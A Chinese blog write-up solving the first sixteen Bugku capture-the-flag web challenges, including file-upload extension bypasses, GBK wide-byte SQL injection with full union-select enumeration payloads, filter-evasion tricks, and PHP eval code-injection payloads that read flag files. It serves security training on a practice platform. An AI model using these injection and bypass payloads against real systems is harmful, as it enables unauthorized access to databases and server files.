

Bugku CTF Web(1-16) writeup

原创

[KRDecad3](#) 于 2018-05-28 00:55:07 发布 2228 收藏 1

分类专栏: [writeup](#) 文章标签: [CTF writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/KRDecad3/article/details/80474671>

版权



[writeup](#) 专栏收录该内容

8 篇文章 0 订阅

订阅专栏

Bugku CTF Web(1-16) writeup

0x01.web2

web2
20

听说聪明的人都能找到答案

<http://120.24.86.145:8002/web2/>

<https://blog.csdn.net/KRDecad3>

右键查看元素, flag在 `<body>` 的注释中。

0x02.文件上传测试

文件上传测试

- 1、请上传PHP文件
- 2、文件上传大小不允许超过1M

浏览... 未选择文件。

Submit

<https://blog.csdn.net/KRDecad3>

上传PHP文件才能得到flag，但是只允许上传图片。

方法一：可以先上传图片文件，利用burp抓包，更改文件扩展名为php，即可得到flag。

方法二：%00截断，先上传图片文件，利用burp抓包，在文件名后面添加“%00.php”，发送，得到flag。

0x03.计算器



右键查看元素，发现表单输入有限制输入长度，双击修改maxlength再提交计算结果就得到flag。

0x04.web基础\$_GET

```
$what=$_GET['what'];  
echo $what;  
if($what=='flag')  
echo 'flag{****}';  
//blog.csdn.net/KRDecad3
```

通过get方法传入参数使“what”的值等于flag。

payload:?what=flag

0x05.web基础\$_POST

```
$what=$_POST['what'];  
echo $what;  
if($what=='flag')  
echo 'flag{****}';  
tps://blog.csdn.net/KRDecad3
```

通过post方法传入参数使“what”的值等于flag。

payload:POST:what=flag

0x06.矛盾

```

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{*****}';
}

```

<https://blog.csdn.net/KRDecad3>

题目要求：既要num的值为不是数字，又要num=1。

is_numeric(var)当变量是数字或数字字符串时返回true。

传入一个1+字母的字符串，可以使is_numeric()返回false，进而进行弱类型转换，使num==1，得到flag。

payload:?num=1a

0x07.web3

打开链接后发现不断的弹窗。

禁止弹窗后，查看源码，发现 `<script>` 注释里有一串unicode编码，解码即得到flag。

```

alert("flag就在这里");
alert("来找找吧");
<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#
</script>
</head>
</html>

```

<https://blog.csdn.net/KRDecad3>

0x08.sql注入

SQL注入测试

查询key表,id=1的string字段

id	1
----	---

key fdsafdasfdsa

<https://blog.csdn.net/KRDecad3>

先尝试单引号，发现返回正常，

查看源码，发现文字编码是gb2312，存在宽字节注入。

测试：?id=1%df%27 and 1=1--+

?id=1%df%27 and 1=2--+

不加注释则报错，加注释返回正常。

判断字段数：?id=1%df%27 order by 2--+

判断回显点：?id=-1%df%27 union select 1,2--+

id	1
----	---

key	fdsafdasfdsa
-----	--------------

id	1
----	---

key	2
-----	---

<https://blog.csdn.net/KRDecad3>

查询数据库名: ?id=-1%df%27 union select 1,database()--+

id	1
----	---

key	sql5
-----	------

<https://blog.csdn.net/KRDecad3>

查询表名: ?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+

id	1
----	---

key	key
-----	-----

id	1
----	---

key	test
-----	------

<https://blog.csdn.net/KRDecad3>

查询字段名: ?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+

id	1
----	---

key	id
-----	----

id	1
----	---

key	string
-----	--------

<https://blog.csdn.net/KRDecad3>

查询string字段得到flag: ?id=-1%df%27 union select 1,string from sql5.key--+

id	1
----	---

key	54f3320dc261f313ba712eb3f13a1f6d
-----	----------------------------------

id	1
----	---

key	aaaaaaaaaa
-----	------------

0x09域名解析

域名解析

50

听说把flag.bugku.com解析到120.24.86.145就能拿到flag

域名解析：把域名指向网站空间IP，让人们通过注册的域名可以方便地访问到网站的一种服务。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

Windows下域名解析：

修改文件C:\windows\system32\drivers\etc\hosts

[Windows10没有修改hosts文件权限的解决方案](#)

hosts - 记事本

```
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Win
#
# This file contains the mappings of IP addresses to host name
# entry should be kept on an individual line. The IP address s
# be placed in the first column followed by the corresponding
# The IP address and the host name should be separated by at l
# space.
#
# Additionally, comments (such as these) may be inserted on in
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#       102.54.94.97       rhino.acme.com           # source serve
#       38.25.63.10       x.acme.com               # x client hos
#
# localhost name resolution is handled within DNS itself.
#       127.0.0.1         localhost
#       ::1               localhost
120.24.86.145    flag.bugku.com           https://blog.csdn.net/KRDecad3
```

在里面添加一条：120.24.86.145 flag.bugku.com保存，再访问此域名，得到flag。

在Linux下域名解析：

用命令打开hosts文件：sudo gedit /etc/hosts

```
root@kali:~# sudo gedit /etc/hosts
```

遇到权限不够的情况时升级为root用户，
添加120.24.86.145 flag.bugku.com，保存。
再用浏览器打开flag.bugku.com。

0x10SQL注入1

```
//过滤sql
$array = array('table','union','and','on','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit')
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字! '.$value);
    }
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
```

<https://blog.csdn.net/KRDecad3>

函数substr_count()计算子串在字符串中出现的次数。

strip_tags()剥去字符串中的 HTML、XML 以及 PHP 的标签。

法一：因为有strip_tags()函数，可以在payload中嵌套HTML标签来绕过。

测试：数字型参数，id不需要引号闭合，?id=1--+

payload:

```
?id=-1 uni<>on sel<>ect 1,database()
```

```
?id=-1 uni<>on sel<>ect 1,hash fr<>om sql3.key
```

法二：利用%00截断

payload:

```
?id=-1 uni%00on sel%00ect 1,database()
```

```
?id=-1 uni%00on sel%00ect 1,hash fr%00om sql3.key
```

0x11你必须让他停下

I want to play Dummy game with others;But I can't stop!

Stop at panda ! u will get flag



<https://blog.csdn.net/KRDecad3>

```
<script language="JavaScript">
function myrefresh() {
window.location.reload();
}
setTimeout('myrefresh()', 500);
</script>
```

<https://blog.csdn.net/KRDecad3>

reload() 方法用于重新加载当前文档。

setTimeout() 方法用于在指定的毫秒数后调用函数或计算表达式。

Burp抓包，发送到Repeater，然后不停的“go”，直到在Response中看到flag。

0x12本地包含

```
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> https://blog.csdn.net/KRDecad3
```

函数eval()把字符串按照PHP代码执行，
var_dump()打印变量的相关信息，
show_source()对文件进行语法高亮显示。
通过构造hello参数传递给变量a，进而进行代码执行。

```
payload:
?hello=);print_r(file("flag.php"))
?hello=);var_dump(file("flag.php"))
?hello=file("flag.php")
?hello=);show_source("flag.php");var_dump(
?hello=);include(@$_POST['b'] 在POST里: b=php://filter/convert.base64-encode/resource=flag.php
?hello=);include("php://filter/convert.base64-encode/resource=flag.php")
```

0x13变量1

flag In the variable ! <?php

```
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/", $args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?> https://blog.csdn.net/KRDecad3
```

函数

highlight_file() 函数对文件进行语法高亮显示，
preg_match()执行一个正则表达式匹配，其中[w]表示匹配包括下划线的任何单词字符，类似但不等价于"[A-Za-z0-9_]"，这里的“单词”字符使用Unicode字符集；同时匹配“+”。

可变变量：\$\$args表示变量args的值再作为变量名。

题目提示flag在变量里，所以使用\$GLOBALS数组。

```
payload: ?args=GLOBALS
```

0x14web5


```
aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
```

最后的eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));解码为

```
eval(unescape(p1) + unescape('54aa2' + p2));
```

根据eval()执行代码块的意思拼接出:

```
function checkSubmit(){
var a=document.getElementById("password");
//getElementById根据指定的 id 属性值得到对象
if("undefined"!==typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
//onsubmit 事件会在表单中的确认按钮被点击时发生
```

判断变量a的值是否等于67d709b2b54aa2aa648cf6e87a7114f1

好像直接输入字符串提交就可以得到flag。